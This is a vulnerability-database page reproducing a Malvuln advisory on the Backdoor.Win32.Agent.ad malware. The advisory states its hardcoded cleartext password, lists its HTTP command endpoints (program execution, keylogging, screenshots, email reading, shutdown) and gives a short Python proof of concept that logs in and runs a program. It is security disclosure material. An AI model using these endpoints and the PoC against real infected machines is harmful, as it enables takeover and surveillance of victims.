Lucene search
K

Backdoor.Win32.Agent.ad Insecure Credential Storage

🗓️ 22 Nov 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 335 Views

Backdoor.Win32.Agent.ad Insecure Credential Storage, TCP port 87, default password "hoanggia", Windows registry, cleartext, plaintext, executed programs, network sniffing, PE type, MD5: d2b933ebadd5c808ca4c68ae173e2d6

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/d2b933ebadd5c808ca4c68ae173e2d62.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.ad  
Vulnerability: Insecure Credential Storage  
Description: The malware listens on TCP port 87, its default password "hoanggia" is stored in the Windows registry in cleartext under "clrprv.oo" in "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\System\NPP". The password is also set as cookie value "Cookie: pass=hoanggia; day=14; month=11; year=2021", which also gets sent over the network in plaintext. Third party attackers who can access the system or sniff traffic can grab the password, then execute any programs and or run commands made available by the backdoor.  
  
Execute programs  
http://x.x.x.x:87/brow?exe=C:\Windows\system32\calc.exe  
  
Screenshots  
http://x.x.x.x:87/scrs?  
  
Websites visited  
http://x.x.x.x:87/web?  
  
Keys pressed  
http://x.x.x.x:87/key?  
  
File system browsing  
http://x.x.x.x:87/brow?  
  
Apps used  
http://x.x.x.x:87/run?  
  
Outlook emails  
http://x.x.x.x:87/chatoutlook?app=out  
  
Misc CMDs  
http://x.x.x.x:87/main?cmd=shutdown  
http://x.x.x.x:87/main?cmd=logoff  
http://x.x.x.x:87/main?cmd=reboot  
  
Type: PE  
MD5: d2b933ebadd5c808ca4c68ae173e2d62   
Vuln ID: MVID-2021-0406  
Disclosure: 11/21/2021  
  
  
Exploit/PoC:  
import requests  
  
with requests.Session() as s:  
p = s.post("http://x.x.x.x:87/main", data={'pass':"hoanggia"})  
r = s.get("http://x.x.x.x:87/brow?exe=calc")  
print(r.status_code)  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation